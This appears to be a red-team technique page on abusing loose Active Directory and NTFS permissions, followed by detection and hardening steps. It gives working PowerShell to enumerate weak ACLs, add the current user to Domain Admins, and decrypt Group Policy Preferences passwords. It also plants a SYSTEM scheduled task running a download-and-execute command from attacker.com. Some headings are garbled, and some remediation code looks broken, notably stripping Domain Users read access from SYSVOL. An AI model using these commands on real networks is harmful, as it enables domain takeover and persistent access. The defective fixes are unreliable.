| Attribute | Details |
|---|---|
| Technique ID | EVADE-PERMS-001 |
| MITRE ATT&CK v18.1 | T1222 - File and Directory Permissions Modification |
| Tactic | Defense Evasion |
| Platforms | Windows AD, Hybrid AD, File Servers |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2012 R2 - 2025, Windows 10/11 with NTFS |
| Patched In | N/A (Configuration weakness, not a vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Loose or default Access Control Lists (ACLs) are overly permissive NTFS/LDAP permissions assigned to files, folders, registry keys, or Active Directory objects that allow unauthorized users (including Domain Users, Authenticated Users, or Everyone) to read, modify, or delete sensitive objects. Attackers exploit these weak ACLs to escalate privileges, bypass restrictions, or erase audit evidence without requiring advanced exploitation techniques. Unlike CVE-based privilege escalation, ACL abuse relies on identifying and leveraging intentional but misconfigured permissions that were typically set during initial deployment and never reviewed.
Attack Surface: NTFS file permissions, SYSVOL shares, Group Policy Objects, Active Directory organizational units, Exchange Server folders, SCCM deployments, ADCS certificate templates, DNS admin objects.
Business Impact: Privilege Escalation and Data Tampering. An authenticated domain user can elevate to administrative privileges by modifying GPOs, dumping NTDS.dit via loose SYSVOL permissions, or adding themselves to privileged groups. Attackers can also modify audit logs, delete forensic evidence, and establish persistence without requiring admin credentials.
Technical Context: ACL enumeration is rapid (milliseconds) and produces no audit events if auditing is not explicitly configured. Once a loose ACL is identified, exploitation is trivial (single command execution). The technique is extremely common in organizations with 10+ years of Active Directory history due to migration scripts, backup solutions, and legacy applications that over-provision permissions during setup and never de-provision them.
Get-Acl or Find-InterestingDomainAcl generates no Windows Event Log entries unless specific auditing enabled (rare).| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows 2022 1.1.1 | Ensure Administrators Group is Used Only When Necessary |
| CIS Benchmark | CIS AD 5.12 | Ensure Restricted Groups is Configured |
| DISA STIG | WN10-00-000050 | Permissions for NTFS system directories must be properly set |
| DISA STIG | APPSEC-1 | Access control policies and procedures must be properly configured |
| CISA SCuBA | C.IA.01 | Identity and access management controls must enforce least privilege |
| NIST 800-53 | AC-2 Account Management | User access must be limited to minimum necessary rights |
| NIST 800-53 | AC-3 Access Enforcement | Discretionary access control policies must be enforced |
| NIST 800-53 | AC-6 Least Privilege | Users must operate with minimum required permissions |
| GDPR | Art. 32 Security of Processing | Technical and organizational measures required to protect data |
| NIS2 | Art. 21 Cyber Risk Management Measures | Access control and privilege management required |
| ISO 27001 | A.9.2.3 Management of Privileged Access Rights | Privileged access management required |
| ISO 27005 | Risk Scenario: Unauthorized Access via Misconfigured Permissions | Access control failures enable unauthorized access |
Required Privileges: Domain User (authenticated domain account). No elevated privileges required for enumeration; exploitation requires specific ACL permissions on target object.
Required Access: Domain membership; ability to query Active Directory (LDAP port 389). For SYSVOL exploitation, SMB access to domain controller (port 445).
Supported Versions:
Tools:
Supported Versions: AD 2012 R2+, Windows 10+
Objective: Identify Active Directory objects with weak permissions assigned to non-built-in principals.
Command (PowerShell - PowerView):
# Download and import PowerView
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# Find interesting ACLs (permission weaknesses)
Find-InterestingDomainAcl -ResolveGUIDs
Expected Output:
IdentityReference : CORP\Domain Users
ObjectDN : CN=Domain Admins,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : GenericAll
AccessControlType : Allow
ObjectType : All
IdentityReference : CORP\Authenticated Users
ObjectDN : CN=Exchange Trusted Subsystem,OU=Groups,DC=corp,DC=local
ActiveDirectoryRights : WriteDacl
AccessControlType : Allow
ObjectType : All
What This Means:
AccessControlType = Allow indicates a positive grant, not a denyOpSec & Evasion:
Version Note: PowerView syntax unchanged from Server 2012 R2 through 2025; compatibility is stable.
Troubleshooting:
IEX in same PowerShell window; verify internet access for script download-Server parameterReferences & Proofs:
Objective: Deep-dive into ACL of a specific high-value object (Domain Admins group, sensitive OU, etc.).
Command (PowerShell - Detailed ACL Review):
# Get ACL for Domain Admins group
$DomainAdmins = Get-DomainGroup -Identity "Domain Admins"
$ACL = Get-DomainObjectAcl -Identity $DomainAdmins.objectsid
# Display all ACL entries
$ACL | Select-Object -Property IdentityReference, ActiveDirectoryRights, AccessControlType | Format-Table -AutoSize
# Filter for exploitable permissions
$ACL | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"} |
Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType
Expected Output:
IdentityReference ActiveDirectoryRights AccessControlType
----------------- --------------------- -----------------
CORP\Domain Admins GenericAll Allow
CORP\Domain Users GenericAll Allow
CORP\SYSTEM GenericAll Allow
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-DomainGroup -Filter "(name -like 'Domain Admin*')" to searchReferences & Proofs:
Supported Versions: AD 2012 R2+
Objective: Confirm you can modify the target object before attempting exploitation.
Command (PowerShell):
# Verify your user has rights to modify Domain Admins
$User = Get-DomainUser -Identity $env:USERNAME
$DomainAdmins = Get-DomainGroup -Identity "Domain Admins"
# Check if current user has GenericAll on Domain Admins
Get-DomainObjectAcl -Identity $DomainAdmins.objectsid |
Where-Object {$_.IdentityReference -contains $User.objectsid -or $_.IdentityReference -match "Domain Users"}
Expected Output (If Exploitable):
IdentityReference : CORP\Domain Users
ObjectDN : CN=Domain Admins,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : GenericAll
AccessControlType : Allow
What This Means:
Objective: Escalate privileges by adding yourself to the Domain Admins group via the loose ACL.
Command (PowerShell - Using PowerView):
# Method 1: Using PowerView
$DomainAdmins = Get-DomainGroup -Identity "Domain Admins"
$CurrentUser = Get-DomainUser -Identity $env:USERNAME
# Add user to group via LDAP (requires GenericAll or AddMember permission)
Add-DomainGroupMember -Identity $DomainAdmins.objectsid -Members $CurrentUser.objectsid
# Verify addition
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object -Property MemberName
Command (PowerShell - Using Active Directory Module):
# Import Active Directory module
Import-Module ActiveDirectory
# Add user to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "$env:USERDOMAIN\$env:USERNAME"
# Verify membership
Get-ADGroupMember -Identity "Domain Admins" | Select-Object -Property SamAccountName
Command (PowerShell - Using ADSI):
# Low-level ADSI approach (works when other methods fail)
$GroupDN = "CN=Domain Admins,CN=Users,DC=corp,DC=local"
$UserDN = "CN=attacker,CN=Users,DC=corp,DC=local"
$Group = [ADSI]"LDAP://$GroupDN"
$Group.Add("LDAP://$UserDN")
$Group.CommitChanges()
Write-Host "User added to Domain Admins"
Expected Output:
SamAccountName
--------------
Administrator
attacker
What This Means:
gpupdate /forceOpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: AD 2012 R2 - 2022 (2025 applies mitigations)
Objective: Identify SYSVOL GPO folders with permissions allowing non-admin write access.
Command (PowerShell):
# Mount SYSVOL share from domain controller
$SysvolPath = "\\DC01\SYSVOL\corp.local\Policies"
icacls $SysvolPath
# Output example:
# CORP\Domain Admins:(OI)(CI)F
# CORP\Domain Users:(OI)(CI)RX <- Readable by Domain Users
# BUILTIN\SYSTEM:(OI)(CI)F
Expected Output:
CORP\Domain Admins:(OI)(CI)F
CORP\Domain Users:(OI)(CI)RX
CORP\Authenticated Users:(OI)(CI)RX
What This Means:
Objective: Decode encrypted Group Policy Preferences passwords from SYSVOL XML files.
Command (PowerShell - Using Get-DecryptedCpassword):
# Search SYSVOL for GPP password files
$GPPFiles = Get-ChildItem -Path "\\DC01\SYSVOL\corp.local\Policies" -Filter "*.xml" -Recurse
# Look for Groups.xml or other preference files containing cpassword
$Groups = $GPPFiles | Get-Content | Select-String "cpassword"
# Example Groups.xml content:
# <Properties cpassword="j1Uyj3$NtQdbF3NUToDG8v5/2kqqLS4CMqeyJ87McF3M+XAZMZa6F+5OdQQ/cjRweHF8=" ... />
# Decrypt the cpassword using publicly available tools
# Microsoft AES key for GPP is hardcoded and publicly known
# Tool: https://github.com/Synacktiv/gp-pwned (GPP-Decrypt)
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Synacktiv/gp-pwned/main/gp-pwned.ps1')
# Decrypt cpassword
$cpassword = "j1Uyj3$NtQdbF3NUToDG8v5/2kqqLS4CMqeyJ87McF3M+XAZMZa6F+5OdQQ/cjRweHF8="
Decrypt-Cpassword $cpassword
Expected Output:
Password123!
What This Means:
OpSec & Evasion:
Version Note: GPP vulnerability (MS14-025) fixed in Windows 2012 R2+ but legacy GPP files may remain in SYSVOL for years; decryption still works on cached files.
Troubleshooting:
References & Proofs:
Supported Versions: Windows Server 2012 R2 - 2025 with NTFS
Objective: Identify files/folders with write permissions for unprivileged users.
Command (PowerShell):
# Get ACL for sensitive folder
$Path = "C:\Program Files\Important-App"
(Get-Acl -Path $Path).Access | Format-Table -Property IdentityReference, FileSystemRights, AccessControlType -AutoSize
# Example Output:
# IdentityReference FileSystemRights AccessControlType
# ----------------- --------------- -----------------
# BUILTIN\Administrators FullControl Allow
# CORP\Domain Users Modify Allow <- EXPLOITABLE
# Search for writable directories in common locations
Get-ChildItem "C:\" -Directory | ForEach-Object {
$Acl = Get-Acl -Path $_.FullName -ErrorAction SilentlyContinue
$Acl.Access | Where-Object {
$_.IdentityReference -match "Domain Users|Authenticated Users|Everyone" -and
$_.FileSystemRights -match "Modify|Write|FullControl"
} | Select-Object -Property @{Name="Path"; Expression={$_.FullName}}, IdentityReference, FileSystemRights
}
Expected Output:
Path IdentityReference FileSystemRights
---- ----------------- ----------------
C:\ProgramData\AppData CORP\Domain Users Write
C:\Temp Everyone Modify
C:\Windows\Tasks Authenticated Users Write
What This Means:
Objective: Place malicious script or executable in writable folder for persistence.
Command (PowerShell - Create Persistence Script):
# Write malicious batch file to writable location
$MaliciousScript = @"
@echo off
powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
"@
Set-Content -Path "C:\ProgramData\AppData\Update.bat" -Value $MaliciousScript -Force
# Configure scheduled task to run script on logon
schtasks /create /tn "Update Service" /tr "C:\ProgramData\AppData\Update.bat" /sc onstart /ru "System"
Expected Output:
SUCCESS: The scheduled task "Update Service" has been created successfully.
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Active Directory Events:
File System Events:
Active Directory:
File System:
Memory:
Immediate Action (< 5 minutes):
# Revoke group membership (undo the escalation)
Remove-ADGroupMember -Identity "Domain Admins" -Members "CORP\attacker" -Confirm:$false
# Force password reset
Set-ADAccountPassword -Identity "CORP\attacker" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Temp123!@#" -Force)
# Revoke all active tokens
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -SearchString "attacker@corp.com").ObjectId
Manual (Active Directory Users & Computers):
Command (Export ACL Changes):
# Query security event log for ACL modifications
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 5136
StartTime = (Get-Date).AddDays(-7)
} | Where-Object {$_.Properties[8].Value -match "nTSecurityDescriptor"} | Export-Csv -Path "C:\Evidence\ACLChanges.csv"
Remove Loose ACLs (Hardening):
# Remove "Domain Users" from Domain Admins ACL
$DomainAdmins = Get-ADGroup -Identity "Domain Admins"
$DomainUsers = Get-ADGroup -Identity "Domain Users"
$ACL = Get-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)"
$ACE = $ACL.Access | Where-Object {$_.IdentityReference -match "Domain Users"}
$ACL.RemoveAccessRule($ACE)
Set-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)" -AclObject $ACL
Write-Host "Domain Users ACE removed from Domain Admins"
Action 1: Audit and Remediate Loose ACLs on Critical Groups
Applies To: Domain Admins, Enterprise Admins, Schema Admins, key OUs
Manual Steps (PowerShell - Audit):
# Find loose ACLs on critical groups
$CriticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
ForEach ($Group in $CriticalGroups) {
$GroupObj = Get-ADGroup -Identity $Group
$ACL = Get-Acl -Path "AD:\$($GroupObj.DistinguishedName)"
$ACL.Access | Where-Object {
$_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins" -and
$_.FileSystemRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
} | ForEach-Object {
Write-Host "LOOSE ACL FOUND: $($_.IdentityReference) has $($_.ActiveDirectoryRights) on $Group"
}
}
Manual Steps (Remediation):
# Remove non-admin permissions from Domain Admins ACL
$DomainAdmins = Get-ADGroup -Identity "Domain Admins"
$ACL = Get-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)"
# Identify and remove overly permissive ACEs
$ACL.Access | Where-Object {
$_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins|Enterprise Admins" -and
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
} | ForEach-Object {
Write-Host "Removing ACE: $($_.IdentityReference)"
$ACL.RemoveAccessRule($_)
}
Set-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)" -AclObject $ACL
Action 2: Implement Regular ACL Auditing
Manual Steps (Group Policy):
gpupdate /force on domain controllersAction 3: Remove Default Overly Permissive ACEs
Manual Steps (Remediation):
# Define list of privileged groups that should have restricted ACLs
$PrivilegedGroups = @(
"Domain Admins",
"Enterprise Admins",
"Schema Admins",
"Backup Operators",
"Account Operators"
)
# Approved principals for these groups
$ApprovedIdentities = @(
"BUILTIN\Administrators",
"BUILTIN\SYSTEM",
"CORP\Domain Admins",
"CORP\Enterprise Admins"
)
ForEach ($Group in $PrivilegedGroups) {
$GroupObj = Get-ADGroup -Identity $Group
$ACL = Get-Acl -Path "AD:\$($GroupObj.DistinguishedName)"
# Remove ACEs not in approved list
$ACL.Access | ForEach-Object {
If ($ApprovedIdentities -notcontains $_.IdentityReference) {
$ACL.RemoveAccessRule($_)
Write-Host "Removed: $($_.IdentityReference) from $Group"
}
}
Set-Acl -Path "AD:\$($GroupObj.DistinguishedName)" -AclObject $ACL
}
Action 1: Enable Active Directory Recycle Bin
Manual Steps (PowerShell):
# Enable AD Recycle Bin
Enable-ADOptionalFeature -Identity "Recycle Bin Feature" -Scope ForestOrConfigurationSet -Target "corp.local"
Write-Host "AD Recycle Bin enabled. Deleted objects recoverable for 180 days."
Action 2: Implement SYSVOL Permissions Hardening
Manual Steps (Command Line on Domain Controller):
REM Remove read access from Domain Users on SYSVOL GPO folders
icacls "C:\Windows\SYSVOL\sysvol\corp.local\Policies" /remove "Domain Users"
REM Verify only Admins and SYSTEM have access
icacls "C:\Windows\SYSVOL\sysvol\corp.local\Policies"
Action 3: Deprecate Legacy Group Policy Preferences (GPP)
Manual Steps (Group Policy Migration):
cpassword attributes remain: Get-ChildItem -Path "\\DC01\SYSVOL" -Filter "*.xml" -Recurse | Select-String "cpassword"Access Control & Policy Hardening
RBAC Hardening:
Delegate GPO Rights Properly:
PowerShell - Verify Loose ACLs Removed:
# Scan for loose ACLs on critical groups
$CriticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
$LooseACLsFound = $false
ForEach ($Group in $CriticalGroups) {
$GroupObj = Get-ADGroup -Identity $Group -ErrorAction SilentlyContinue
$ACL = Get-Acl -Path "AD:\$($GroupObj.DistinguishedName)" -ErrorAction SilentlyContinue
$BadACEs = $ACL.Access | Where-Object {
$_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins|Enterprise Admins" -and
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
}
If ($BadACEs.Count -gt 0) {
Write-Host "✗ LOOSE ACL STILL EXISTS on $Group" -ForegroundColor Red
$LooseACLsFound = $true
}
}
If (-Not $LooseACLsFound) {
Write-Host "✓ No loose ACLs found on critical groups" -ForegroundColor Green
}
Expected Output (If Secure):
✓ No loose ACLs found on critical groups
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credentials | Attacker gains initial access via weak service account credentials |
| 2 | Reconnaissance | [REC-AD-003] PowerView Enumeration | Attacker enumerates domain structure and identifies loose ACLs using PowerView |
| 3 | Privilege Escalation | [EVADE-PERMS-001] | Attacker exploits loose ACL on Domain Admins group to escalate privileges |
| 4 | Defense Evasion | [EVADE-LOG-001] Event Log Deletion | Attacker deletes Windows Security logs to hide group membership change |
| 5 | Persistence | [PERSIST-ACCT-001] Rogue Admin Account | Attacker creates backdoor admin account using elevated privileges |
| 6 | Impact | [IMPACT-DATA-001] Mass Data Exfiltration | Attacker uses admin access to dump sensitive files and NTDS.dit |